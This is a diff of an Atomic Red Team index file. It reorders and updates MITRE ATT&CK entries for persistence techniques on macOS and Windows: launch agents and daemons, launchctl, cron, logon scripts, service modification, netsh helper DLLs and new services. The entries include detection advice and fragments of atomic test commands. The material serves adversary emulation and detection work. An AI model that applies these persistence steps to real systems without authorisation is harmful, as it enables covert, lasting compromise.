https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: OSX Malware Detection + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + - source_name: OceanLotus for OS X + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. + url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + modified: '2019-07-18T15:25:53.604Z' identifier: T1159 atomic_tests: - name: Launch Agent @@ -2268,47 +2349,12 @@ persistence: 5. launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist T1160: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1160 - source_name: mitre-attack - external_id: T1160 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: AppleDocs Launch Agent Daemons - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved - July 10, 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - source_name: OSX Malware Detection - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical - OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: WireLurker - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. - Retrieved July 10, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - Process monitoring - File monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor Launch Daemon creation through additional plist files - and utilities such as Objective-See's Knock Knock application. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 name: Launch Daemon - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property @@ -2326,10 +2372,45 @@ persistence: be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation." + id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor Launch Daemon creation through additional plist files + and utilities such as Objective-See's Knock Knock application. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - root - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1160 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1160 + - source_name: AppleDocs Launch Agent Daemons + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + July 10, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: OSX Malware Detection + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + - source_name: WireLurker + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + modified: '2019-07-18T15:26:40.592Z' identifier: T1160 atomic_tests: - name: Launch Daemon @@ -2360,16 +2441,6 @@ persistence: T1152: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1152 - source_name: mitre-attack - external_id: T1152 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_permissions_required: - User - Administrator @@ -2377,28 +2448,7 @@ persistence: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Knock Knock can be used to detect persistent programs such - as those installed via launchctl as launch agents or launch daemons. Additionally, - every launch agent or launch daemon must have a corresponding plist file on - disk somewhere which can be monitored. Monitor process execution from launchctl/launchd - for unusual or unknown processes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee name: Launchctl - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern description: "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, @@ -2410,6 +2460,37 @@ persistence: or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process." + x_mitre_remote_support: false + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-18T15:27:13.077Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1152 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1152 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -2429,64 +2510,14 @@ persistence: ' T1168: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1168 - source_name: mitre-attack - external_id: T1168 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html - source_name: AppleDocs Scheduling Timed Jobs - description: Apple. (n.d.). Retrieved July 17, 2017. - - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ - source_name: Janicab - description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved - July 17, 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf - source_name: Malware Persistence on OS X - description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. - Retrieved July 10, 2017. - - url: https://linux.die.net/man/5/crontab - source_name: Die.net Linux crontab Man Page - description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December - 19, 2017. - - url: https://linux.die.net/man/1/at - source_name: Die.net Linux at Man Page - description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December - 19, 2017. - - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ - source_name: Avast Linux Trojan Cron Persistence - description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan - hiding itself with an embedded rootkit. Retrieved January 8, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Anastasios Pingios x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Legitimate scheduled jobs may be created during installation - of new software or through administration functions. Jobs scheduled with launchd - and cron can be monitored from their respective utilities to list out detailed - information about the jobs. Monitor process execution resulting from launchd - and cron tasks to look for unusual or unknown applications and behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 + x_mitre_permissions_required: + - Administrator + - User + - root name: Local Job Scheduling - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). @@ -2503,10 +2534,60 @@ persistence: ### launchd Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. - x_mitre_permissions_required: - - Administrator - - User - - root + id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Legitimate scheduled jobs may be created during installation + of new software or through administration functions. Jobs scheduled with launchd + and cron can be monitored from their respective utilities to list out detailed + information about the jobs. Monitor process execution resulting from launchd + and cron tasks to look for unusual or unknown applications and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1168 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1168 + - source_name: Die.net Linux crontab Man Page + description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/5/crontab + - source_name: Die.net Linux at Man Page + description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/1/at + - source_name: AppleDocs Scheduling Timed Jobs + description: Apple. (n.d.). Retrieved July 17, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html + - source_name: Janicab + description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved + July 17, 2017. + url: http://www.thesafemac.com/new-signed-malware-called-janicab/ + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: Malware Persistence on OS X + description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. + Retrieved July 10, 2017. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + - source_name: Avast Linux Trojan Cron Persistence + description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan + hiding itself with an embedded rootkit. Retrieved January 8, 2018. + url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ + modified: '2019-07-18T15:32:39.720Z' identifier: T1168 atomic_tests: - name: Cron - Replace crontab with referenced file @@ -2609,46 +2690,11 @@ persistence: 3. sudo touch /private/var/db/emondClients/randomflag T1037: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1037 - source_name: mitre-attack - external_id: T1037 - - url: https://capec.mitre.org/data/definitions/564.html - source_name: capec - external_id: CAPEC-564 - - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx - source_name: TechNet Logon Scripts - description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved - April 27, 2016. - - url: https://support.apple.com/de-at/HT2420 - source_name: creating login hook - description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved - July 17, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Write access to system or domain logon scripts x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor logon scripts for unusual access by abnormal users - or at abnormal times. Look for files added or modified by unusual accounts - outside of normal administration duties. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows - kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + type: attack-pattern name: Logon Scripts - created: '2017-05-31T21:30:38.910Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- ### Windows @@ -2659,6 +2705,41 @@ persistence: ### Mac Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. + id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + x_mitre_platforms: + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Write access to system or domain logon scripts + x_mitre_detection: Monitor logon scripts for unusual access by abnormal users + or at abnormal times. Look for files added or modified by unusual accounts + outside of normal administration duties. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:38.910Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: lateral-movement + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1037 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1037 + - source_name: capec + external_id: CAPEC-564 + url: https://capec.mitre.org/data/definitions/564.html + - source_name: TechNet Logon Scripts + description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved + April 27, 2016. + url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx + - source_name: creating login hook + description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved + July 17, 2017.' + url: https://support.apple.com/de-at/HT2420 + modified: '2019-06-24T14:22:07.921Z' identifier: T1037 atomic_tests: - name: Logon Scripts @@ -2700,36 +2781,28 @@ persistence: write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" T1031: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1031 - source_name: mitre-attack - external_id: T1031 - - url: https://capec.mitre.org/data/definitions/551.html - source_name: capec - external_id: CAPEC-551 - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://twitter.com/r0wdy_/status/936365549553991680 - source_name: Twitter Service Recovery Nov 2017 - description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. - Retrieved April 9, 2018. - - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) - source_name: Microsoft Service Recovery Feb 2013 - description: Microsoft. (2013, February 22). Set up Recovery Actions to Take - Place When a Service Fails. Retrieved April 9, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Travis Smith, Tripwire - - Matthew Demaske, Adaptforward + x_mitre_permissions_required: + - Administrator + - SYSTEM x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' + name: Modify Existing Service + description: |- + Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). + + Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. + + Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013) + id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, @@ -2748,25 +2821,33 @@ persistence: and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b - name: Modify Existing Service + x_mitre_contributors: + - Travis Smith, Tripwire + - Matthew Demaske, Adaptforward created: '2017-05-31T21:30:34.928Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). - - Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. - - Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013) - x_mitre_permissions_required: - - Administrator - - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1031 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1031 + - source_name: capec + external_id: CAPEC-551 + url: https://capec.mitre.org/data/definitions/551.html + - source_name: Twitter Service Recovery Nov 2017 + description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. + Retrieved April 9, 2018. + url: https://twitter.com/r0wdy_/status/936365549553991680 + - source_name: Microsoft Service Recovery Feb 2013 + description: Microsoft. (2013, February 22). Set up Recovery Actions to Take + Place When a Service Fails. Retrieved April 9, 2018. + url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-18T16:20:52.185Z' identifier: T1031 atomic_tests: - name: Modify Fax service to run PowerShell @@ -2784,57 +2865,57 @@ persistence: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" T1128: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1128 - source_name: mitre-attack - external_id: T1128 - - url: https://technet.microsoft.com/library/bb490939.aspx - source_name: TechNet Netsh - description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. - - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html - source_name: Demaske Netsh Persistence - description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL - DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. - - url: https://github.com/outflankbv/NetshHelperBeacon - source_name: Github Netsh Helper CS Beacon - description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved - February 13, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Matthew Demaske, Adaptforward - x_mitre_permissions_required: - - Administrator - - SYSTEM x_mitre_data_sources: - DLL monitoring - Windows Registry - Process monitoring - modified: '2019-04-29T20:48:01.254Z' - x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes - in most environments. Monitor process executions and investigate any child - processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh - registry key for any new or suspicious entries that do not correlate with - known system files or benign software. (Citation: Demaske Netsh Persistence)' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Netsh Helper DLL - created: '2017-05-31T21:31:40.168Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence) Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon) + id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' x_mitre_system_requirements: - "[netsh](https://attack.mitre.org/software/S0108)" + type: attack-pattern + x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes + in most environments. Monitor process executions and investigate any child + processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh + registry key for any new or suspicious entries that do not correlate with + known system files or benign software. (Citation: Demaske Netsh Persistence)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:31:40.168Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1128 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1128 + - source_name: TechNet Netsh + description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. + url: https://technet.microsoft.com/library/bb490939.aspx + - source_name: Demaske Netsh Persistence + description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL + DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. + url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html + - source_name: Github Netsh Helper CS Beacon + description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved + February 13, 2017. + url: https://github.com/outflankbv/NetshHelperBeacon + modified: '2019-04-29T20:48:01.254Z' identifier: T1128 atomic_tests: - name: Netsh Helper DLL Registration @@ -2856,57 +2937,15 @@ persistence: ' T1050: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1050 - source_name: mitre-attack - external_id: T1050 - - url: https://capec.mitre.org/data/definitions/550.html - source_name: capec - external_id: CAPEC-550 - - url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: TechNet Services - description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - source_name: Microsoft 4697 APR 2017 - description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service - was installed in the system. Retrieved August 7, 2018.' - - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - source_name: Microsoft Windows Event Forwarding FEB 2018 - description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding - to help with intrusion detection. Retrieved August 7, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Pedro Harrison + x_mitre_permissions_required: + - Administrator + - SYSTEM x_mitre_data_sources: - Windows Registry - Process monitoring - Process command-line parameters - Windows event logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. - - Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 name: New Service - created: '2017-05-31T21:30:45.613Z' - x_mitre_version: '1.0' - type: attack-pattern description: "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to @@ -2919,11 +2958,53 @@ persistence: SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035)." + id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. 